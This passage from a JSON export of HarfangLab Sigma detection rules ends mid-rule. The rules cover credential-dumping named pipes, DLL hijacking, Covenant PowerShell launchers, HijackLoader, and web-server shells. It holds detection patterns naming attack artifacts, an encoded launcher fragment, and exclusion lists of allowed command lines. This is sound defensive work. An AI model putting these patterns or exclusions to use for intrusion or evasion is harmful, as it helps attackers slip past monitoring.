+  "content": "title: Named Pipe Created Associated with Credential Dumping Tools\nid: f87fa54f-f27d-4a98-8d96-b6eadfb2453e\ndescription: |\n    Detects a suspicious attempt to dump credentials in Windows using tools that create named pipes.\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    Is is recommended to analyze the process responsible for the creation of the named pipe and to look for other suspicious activities on the host.\nreferences:\n    - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment?next_slideshow=82266109\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2022/07/11\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName|contains:\n            - '\\lsadump'\n            - '\\cachedump'\n            - '\\wceservicepipe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f87fa54f-f27d-4a98-8d96-b6eadfb2453e",
+  "rule_name": "Named Pipe Created Associated with Credential Dumping Tools",
+  "rule_description": "Detects a suspicious attempt to dump credentials in Windows using tools that create named pipes.\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIs is recommended to analyze the process responsible for the creation of the named pipe and to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f8d10e3f-c21e-4c10-aa29-c702118c7fdf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096060Z",
+  "creation_date": "2026-03-23T11:45:34.096063Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096068Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/T1574.001.md#atomic-test-1---dll-search-order-hijacking---amsidll",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_powershell.yml",
+  "content": "title: DLL Hijacking via PowerShell.exe\nid: f8d10e3f-c21e-4c10-aa29-c702118c7fdf\ndescription: |\n    Detects potential Windows DLL Hijacking via PowerShell.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/T1574.001.md#atomic-test-1---dll-search-order-hijacking---amsidll\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'PowerShell.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\davclnt.dll'\n            - '\\drprov.dll'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\propsys.dll'\n            - '\\rsaenh.dll'\n            - '\\windows.storage.dll'\n            - '\\amsi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    condition: selection and not 1 of filter_*\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f8d10e3f-c21e-4c10-aa29-c702118c7fdf",
+  "rule_name": "DLL Hijacking via PowerShell.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via PowerShell.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f962a0cd-a955-4f9d-b311-f8b24582526d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609268Z",
+  "creation_date": "2026-03-23T11:45:34.609272Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609279Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cobbr/Covenant",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_covenant_powershell_launcher.yml",
+  "content": "title: Covenant PowerShell Launcher Detected\nid: f962a0cd-a955-4f9d-b311-f8b24582526d\ndescription: |\n    Detects execution of Covenant PowerShell Launcher.\n    Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET.\n    It is recommended to investigate the parent process for suspicious activities as well as to look for suspicious actions stemming from the PowerShell host process.\nreferences:\n    - https://github.com/cobbr/Covenant\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/11/10\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Framework.Covenant\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection_1:\n        PowershellCommand|contains:\n            - ' -Sta -Nop -Window Hidden -Command '\n            - ' -Sta -Nop -Window Hidden -EncodedCommand '\n    selection_2:\n        PowershellCommand|contains:\n            - 'sv o (New-Object IO.MemoryStream);'\n            - 'cwB2ACAAbwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACkAOwB'\n\n    exclusion_gehealthcare:\n        PowershellScriptPath:\n            - '?:\\Program Files\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\PrivateMethods.ps1'\n            - '?:\\Program Files (x86)\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\PrivateMethods.ps1'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f962a0cd-a955-4f9d-b311-f8b24582526d",
+  "rule_name": "Covenant PowerShell Launcher Detected",
+  "rule_description": "Detects execution of Covenant PowerShell Launcher.\nCovenant is a .NET command and control framework that aims to highlight the attack surface of .NET.\nIt is recommended to investigate the parent process for suspicious activities as well as to look for suspicious actions stemming from the PowerShell host process.\n",
+  "rule_creation_date": "2021-11-10",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1071"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f96e0d60-4942-4628-b92c-7c662578aa9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604401Z",
+  "creation_date": "2026-03-23T11:45:34.604404Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604411Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/012/",
+    "https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader",
+    "https://www.crowdstrike.com/blog/hijackloader-expands-techniques/"
+  ],
+  "name": "t1055_012_suspicious_file_dropped_hijackloader.yml",
+  "content": "title: HijackLoader Dropped File\nid: f96e0d60-4942-4628-b92c-7c662578aa9b\ndescription: |\n    Detects the creation of StrCmp.exe in the AppData folder.\n    HijackLoader creates and executes StrCmp.exe in the AppData folder for process hollowing purposes.\n    HijackLoader is a defense evasion oriented loader relying mostly on DLL sideloading and a custom variant of process hollowing.\n    It usually drops stealers as final payloads.\n    It is recommended to analyze the process responsible for writing the StrCmp file to disk to determine its legitimacy and to look for other suspicious actions on the host.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/012/\n    - https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader\n    - https://www.crowdstrike.com/blog/hijackloader-expands-techniques/\ndate: 2024/09/16\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Loader.HijackLoader\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\\\*\\StrCmp.exe'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f96e0d60-4942-4628-b92c-7c662578aa9b",
+  "rule_name": "HijackLoader Dropped File",
+  "rule_description": "Detects the creation of StrCmp.exe in the AppData folder.\nHijackLoader creates and executes StrCmp.exe in the AppData folder for process hollowing purposes.\nHijackLoader is a defense evasion oriented loader relying mostly on DLL sideloading and a custom variant of process hollowing.\nIt usually drops stealers as final payloads.\nIt is recommended to analyze the process responsible for writing the StrCmp file to disk to determine its legitimacy and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2024-09-16",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f9798db9-3af5-4b00-9a78-5a7bf8d90ed1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077851Z",
+  "creation_date": "2026-03-23T11:45:34.077853Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077857Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_expand.yml",
+  "content": "title: DLL Hijacking via expand.exe\nid: f9798db9-3af5-4b00-9a78-5a7bf8d90ed1\ndescription: |\n    Detects potential Windows DLL Hijacking via expand.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'expand.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\Cabinet.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f9798db9-3af5-4b00-9a78-5a7bf8d90ed1",
+  "rule_name": "DLL Hijacking via expand.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via expand.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f99772ac-fdaa-4cf6-9c2b-59afab8387e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098334Z",
+  "creation_date": "2026-03-23T11:45:34.098336Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098341Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pnpunattend.yml",
+  "content": "title: DLL Hijacking via pnpunattend.exe\nid: f99772ac-fdaa-4cf6-9c2b-59afab8387e9\ndescription: |\n    Detects potential Windows DLL Hijacking via pnpunattend.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pnpunattend.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\DEVRTL.dll'\n            - '\\newdev.dll'\n            - '\\wdscore.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f99772ac-fdaa-4cf6-9c2b-59afab8387e9",
+  "rule_name": "DLL Hijacking via pnpunattend.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pnpunattend.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f9ee660e-81ec-4e3b-9897-8e9e23dba22b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072044Z",
+  "creation_date": "2026-03-23T11:45:34.072046Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072050Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_windows_webshell.yml",
+  "content": "title: Shell Process Spawned by Web Server\nid: f9ee660e-81ec-4e3b-9897-8e9e23dba22b\ndescription: |\n    Detects the suspicious invocation of a shell process by a web server\n    Attackers can use vulnerabilities present in web applications to execute malicious code on a web server.\n    Is is recommended to analyze the executed shell command to determine its legitimacy in the context of the running web application.\nreferences:\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2021/04/01\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        ParentImage|endswith:\n            - '\\w3wp.exe'  # IIS\n            - '\\httpd.exe'  # Apache\n            - '\\nginx.exe'\n            - '\\php-cgi.exe'\n            - '\\tomcat.exe'\n            # C:\\Program Files\\Tomcat\\bin\\tomcat7.exe\n            # C:\\Program Files\\Tomcat\\bin\\tomcat8.exe\n            # C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0\\bin\\Tomcat9.exe\n            - '\\tomcat?.exe'\n            # C:\\Program Files\\Tomcat\\bin\\tomcat7w.exe\n            - '\\tomcat??.exe'\n            # https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html\n            - '\\UMWorkerProcess.exe'  # ProxyLogon vulnerability\n            - '\\ws_TomcatService.exe' # VMware Horizon exploitation (https://twitter.com/redcanary/status/1482100290698375169)\n    selection_2:\n        - Image|endswith:\n            - '\\cmd.exe'\n            - '\\command.com'\n            - '\\powershell.exe'\n            - '\\pwsh.exe'  # PowerShell 6+\n            - '\\bitsadmin.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\rundll32.exe'\n            # cygwin or WSL\n            - '\\sh.exe'\n            - '\\bash.exe'\n        # handle renamed binaries\n        - OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'pwsh.dll'  # related to pwsh.exe (PowerShell 6)\n            - 'wscript.exe'\n            - 'cscript.exe'\n            - 'RUNDLL32.EXE'\n\n    exclusion_fp:\n        CommandLine:\n            - 'cmd.exe /c echo %windir%'\n            - 'CMD /C wmic os get Caption /value'\n            - 'cmd.exe /s /c CMD /D /C powershell [System.Text.Encoding]::Default'\n            - 'cmd.exe /c tasklist /FI PID eq * /FO CSV /NH'\n            - 'cmd.exe /s /c echo EXEC'\n            - 'cmd.exe /s /c for %F in * do @echo %~zF'\n            - 'cmd.exe /c wmic NICCONFIG get DNSServerSearchOrder /format:CSV'\n\n    exclusion_exchange_owa:\n        # \"cmd.exe\" /c ver\n        CommandLine: '?cmd.exe? /c ver'\n        # parent commandline : c:\\windows\\system32\\inetsrv\\w3wp.exe -ap \"MSExchangeOWAAppPool\" -v \"v4.0\" -c \"C:\\Program Files\\Microsoft\\Exchange Server\\V15\\bin\\GenericAppPoolConfigWithGCServerEnabledFalse.config\" -a \\\\.\\pipe\\iisipm0c0ece8b-b171-4c37-b00b-f7ae3736eed0 -h \"C:\\inetpub\\temp\\apppools\\MSExchangeOWAAppPool\\MSExchangeOWAAppPool.config\" -w \"\" -m 0\n        ParentCommandLine|contains: 'MSExchangeOWAAppPool'\n\n    exclusion_fortinet:\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c ver'\n        ParentImage: '?:\\Program Files (x86)\\Fortinet\\FortiClientEMS\\Apache24\\bin\\httpd.exe'\n\n    exclusion_mcafee_epo:\n        ParentImage: '?:\\Program Files (x86)\\McAfee\\ePolicy Orchestrator\\Server\\bin\\tomcat?.exe'\n        # cmd.exe /c chcp 1252 > NUL & powershell.exe -ExecutionPolicy Bypass -NoExit -NoProfile -Command -\n        CommandLine: 'cmd.exe /c chcp 1252 > NUL & powershell.exe -ExecutionPolicy Bypass -NoExit -NoProfile -Command -'\n\n    exclusion_cti_server:\n        # cwd : D:\\cti_server\\conf\\caddy\\sites-enabled\\iCTI_314\\modules\\rh\\\n        CommandLine:\n            - 'cmd.exe /c git describe 2>&1'\n            - 'cmd.exe /c git status --porcelain'\n\n    exclusion_sygid5:\n        CommandLine: 'cmd.exe /c ipconfig /all'\n        CurrentDirectory: '*\\sygid5*'\n\n    exclusion_iagona:\n        # cmd.exe /c C:/iagona/www/neoscreen/rest/apk/aapt.exe dump badging C:/iagona/www/neoscreen/rest/apk/app-release.apk\n        # cmd.exe /s /c C:/iagona/www/neoscreen/rest/apk/aapt.exe dump badging C:/iagona/www/neoscreen/rest/apk/app-release.apk\n        # cmd.exe /c E:/iagona/www/neoscreen/rest/apk/aapt.exe dump badging E:/iagona/www/neoscreen/rest/apk/app-release.apk\n        CommandLine|endswith: ':/iagona/www/neoscreen/rest/apk/aapt.exe dump badging ?:/iagona/www/neoscreen/rest/apk/app-release.apk'\n\n    exclusion_rotatelogs:\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /C bin\\rotatelogs *'\n            - '?:\\Windows\\system32\\cmd.exe /C bin\\rotatelogs.exe *'\n            - '?:\\Windows\\system32\\cmd.exe /C *\\bin\\rotatelogs.exe *'\n            - '?:\\Windows\\system32\\cmd.exe /C {SRVROOT}\\bin\\rotatelogs.exe *'\n\n    # https://twitter.com/SBousseaden/status/1408787624060506113\n    exclusion_third_party:\n        CommandLine:\n            - '*\\rundll32.exe --eoim'\n            - '*\\rundll32.exe --enable-speech-input --auto-scan-plugin --enable-media-stream*'\n            - '*\\rundll32.exe --enable-speech-input --auto-scan-plugin --lang=* --enable-media-stream*'\n\n    exclusion_sendmail:\n        CommandLine:\n            - 'cmd.exe /s /c sendmail.exe'\n            - 'cmd.exe /s /c 